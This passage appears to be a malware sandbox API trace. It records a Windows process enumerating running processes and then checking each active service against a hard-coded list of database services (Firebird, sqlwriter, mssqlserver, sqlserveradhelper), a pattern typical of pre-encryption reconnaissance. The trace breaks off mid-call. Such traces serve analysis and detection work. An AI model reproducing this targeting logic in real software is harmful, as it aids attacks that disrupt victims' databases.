lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0237.940] lstrlenW (lpString="System") returned 6 [0237.940] Process32NextW (in: hSnapshot=0x55c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0237.940] lstrlenW (lpString="smss.exe") returned 8 [0237.940] Process32NextW (in: hSnapshot=0x55c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0237.940] lstrlenW (lpString="csrss.exe") returned 9 [0237.940] Process32NextW (in: hSnapshot=0x55c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0237.941] lstrlenW (lpString="wininit.exe") returned 11 [0237.941] Process32NextW (in: hSnapshot=0x55c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0237.941] lstrlenW (lpString="csrss.exe") returned 9 [0237.941] Process32NextW (in: hSnapshot=0x55c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0237.941] lstrlenW (lpString="winlogon.exe") returned 12 [0237.941] Process32NextW (in: hSnapshot=0x55c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x240, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0237.942] lstrlenW (lpString="services.exe") returned 12 [0237.942] Process32NextW (in: hSnapshot=0x55c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0237.942] lstrlenW (lpString="lsass.exe") returned 9 [0237.942] Process32NextW (in: hSnapshot=0x55c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x290, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0237.943] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0237.943] Process32NextW (in: hSnapshot=0x55c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x224, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0237.943] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0237.943] Process32NextW (in: hSnapshot=0x55c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0237.943] lstrlenW (lpString="svchost.exe") returned 11 [0237.943] Process32NextW (in: hSnapshot=0x55c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0237.944] lstrlenW (lpString="svchost.exe") returned 11 [0237.944] Process32NextW (in: hSnapshot=0x55c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x354, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x224, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0237.944] lstrlenW (lpString="dwm.exe") returned 7 [0237.944] Process32NextW (in: hSnapshot=0x55c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0237.945] lstrlenW (lpString="svchost.exe") returned 11 [0237.945] Process32NextW (in: hSnapshot=0x55c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0237.945] lstrlenW (lpString="svchost.exe") returned 11 [0237.945] Process32NextW (in: hSnapshot=0x55c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0237.945] lstrlenW (lpString="svchost.exe") returned 11 [0237.945] Process32NextW (in: hSnapshot=0x55c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x36, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0237.946] lstrlenW (lpString="svchost.exe") returned 11 [0237.946] Process32NextW (in: hSnapshot=0x55c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x28c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0237.946] lstrlenW (lpString="svchost.exe") returned 11 [0237.946] Process32NextW (in: hSnapshot=0x55c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x428, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0237.946] lstrlenW (lpString="svchost.exe") returned 11 [0237.946] Process32NextW (in: hSnapshot=0x55c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x508, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0237.947] lstrlenW (lpString="svchost.exe") returned 11 [0237.947] Process32NextW (in: hSnapshot=0x55c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x550, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0237.947] lstrlenW (lpString="svchost.exe") returned 11 [0237.947] Process32NextW (in: hSnapshot=0x55c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0237.947] lstrlenW (lpString="svchost.exe") returned 11 [0237.947] Process32NextW (in: hSnapshot=0x55c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0237.948] lstrlenW (lpString="svchost.exe") returned 11 [0237.948] Process32NextW (in: hSnapshot=0x55c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0237.948] lstrlenW (lpString="spoolsv.exe") returned 11 [0237.948] Process32NextW (in: hSnapshot=0x55c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x66c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0237.948] lstrlenW (lpString="svchost.exe") returned 11 [0237.948] Process32NextW (in: hSnapshot=0x55c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x690, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x508, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0237.949] lstrlenW (lpString="audiodg.exe") returned 11 [0237.949] Process32NextW (in: hSnapshot=0x55c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0237.949] lstrlenW (lpString="svchost.exe") returned 11 [0237.949] Process32NextW (in: hSnapshot=0x55c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0237.949] lstrlenW (lpString="sihost.exe") returned 10 [0237.949] Process32NextW (in: hSnapshot=0x55c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x790, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0237.950] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0237.950] Process32NextW (in: hSnapshot=0x55c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0237.950] lstrlenW (lpString="Memory Compression") returned 18 [0237.950] Process32NextW (in: hSnapshot=0x55c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0237.950] lstrlenW (lpString="taskhostw.exe") returned 13 [0237.950] Process32NextW (in: hSnapshot=0x55c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x938, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x46, th32ParentProcessID=0x928, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0237.951] lstrlenW (lpString="explorer.exe") returned 12 [0237.951] Process32NextW (in: hSnapshot=0x55c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0237.951] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0237.951] Process32NextW (in: hSnapshot=0x55c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0237.951] lstrlenW (lpString="SearchUI.exe") returned 12 [0237.951] Process32NextW (in: hSnapshot=0x55c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0237.952] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0237.952] Process32NextW (in: hSnapshot=0x55c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x938, pcPriClassBase=8, dwFlags=0x0, szExeFile="winhost.exe")) returned 1 [0237.952] lstrlenW (lpString="winhost.exe") returned 11 [0237.952] Process32NextW (in: hSnapshot=0x55c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xd00, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0237.953] lstrlenW (lpString="cmd.exe") returned 7 [0237.953] Process32NextW (in: hSnapshot=0x55c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xd0c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0237.953] lstrlenW (lpString="conhost.exe") returned 11 [0237.953] Process32NextW (in: hSnapshot=0x55c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x178, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0237.953] lstrlenW (lpString="consent.exe") returned 11 [0237.953] Process32NextW (in: hSnapshot=0x55c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0237.954] lstrlenW (lpString="dllhost.exe") returned 11 [0237.954] Process32NextW (in: hSnapshot=0x55c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0237.954] CloseHandle (hObject=0x55c) returned 1 [0237.954] Sleep (dwMilliseconds=0x1f4) [0238.777] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x40eb260 [0238.778] EnumServicesStatusExW (in: hSCManager=0x40eb260, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x244ff3c, lpServicesReturned=0x244ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x244ff3c, lpServicesReturned=0x244ff54, lpResumeHandle=0x0) returned 0 [0238.778] GetLastError () returned 0xea [0238.778] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x1b30) returned 0x5020068 [0238.778] EnumServicesStatusExW (in: hSCManager=0x40eb260, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x5020068, cbBufSize=0x1b30, pcbBytesNeeded=0x244ff3c, lpServicesReturned=0x244ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x5020068, pcbBytesNeeded=0x244ff3c, lpServicesReturned=0x244ff54, lpResumeHandle=0x0) returned 1 [0238.779] CloseServiceHandle (hSCObject=0x40eb260) returned 1 [0238.779] lstrlenW (lpString="Appinfo") returned 7 [0238.779] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0238.779] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0238.779] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0238.779] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0238.779] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0238.779] lstrlenW (lpString="AppXSvc") returned 7 [0238.779] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0238.779] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0238.779] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0238.779] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0238.779] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0238.779] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0238.779] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0238.779] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0238.779] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0238.779] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0238.779] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0238.779] lstrlenW (lpString="Audiosrv") returned 8 [0238.779] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0238.779] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0238.779] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0238.779] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0238.779] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0238.779] lstrlenW (lpString="BFE") returned 3 [0238.779] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0238.780] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0238.780] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0238.780] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0238.780] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0238.780] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0238.780] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0238.780] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0238.780] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0238.780] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0238.780] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0238.780] lstrlenW (lpString="CDPSvc") returned 6 [0238.780] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0238.780] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0238.780] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0238.780] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0238.780] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0238.780] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0238.780] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0238.780] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0238.780] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0238.780] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0238.780] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0238.780] lstrlenW (lpString="CryptSvc") returned 8 [0238.780] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0238.780] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0238.780] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0238.780] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0238.780] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0238.780] lstrlenW (lpString="DcomLaunch") returned 10 [0238.780] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0238.780] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0238.780] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0238.780] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0238.780] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0238.780] lstrlenW (lpString="DeviceAssociationService") returned 24 [0238.780] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0238.780] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0238.780] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0238.780] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0238.780] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0238.780] lstrlenW (lpString="Dhcp") returned 4 [0238.780] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0238.780] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0238.780] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0238.780] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0238.780] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0238.780] lstrlenW (lpString="Dnscache") returned 8 [0238.780] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0238.780] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0238.781] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0238.781] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0238.781] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0238.781] lstrlenW (lpString="DPS") returned 3 [0238.781] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0238.781] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0238.781] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0238.781] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0238.781] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0238.781] lstrlenW (lpString="DusmSvc") returned 7 [0238.781] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0238.781] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0238.781] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0238.781] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0238.781] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0238.781] lstrlenW (lpString="EventLog") returned 8 [0238.781] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0238.781] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0238.781] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0238.781] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0238.781] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0238.781] lstrlenW (lpString="EventSystem") returned 11 [0238.781] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0238.781] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0238.781] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0238.781] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0238.781] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0238.781] lstrlenW (lpString="FontCache") returned 9 [0238.781] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0238.781] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0238.781] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0238.781] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0238.781] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0238.781] lstrlenW (lpString="gpsvc") returned 5 [0238.781] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0238.781] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0238.781] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0238.781] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0238.781] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0238.781] lstrlenW (lpString="iphlpsvc") returned 8 [0238.781] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0238.781] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0238.781] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0238.781] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0238.781] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0238.781] lstrlenW (lpString="KeyIso") returned 6 [0238.781] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0238.781] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0238.782] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0238.782] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0238.782] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0238.782] lstrlenW (lpString="LanmanServer") returned 12 [0238.782] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0238.782] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0238.782] lstrcmpiW 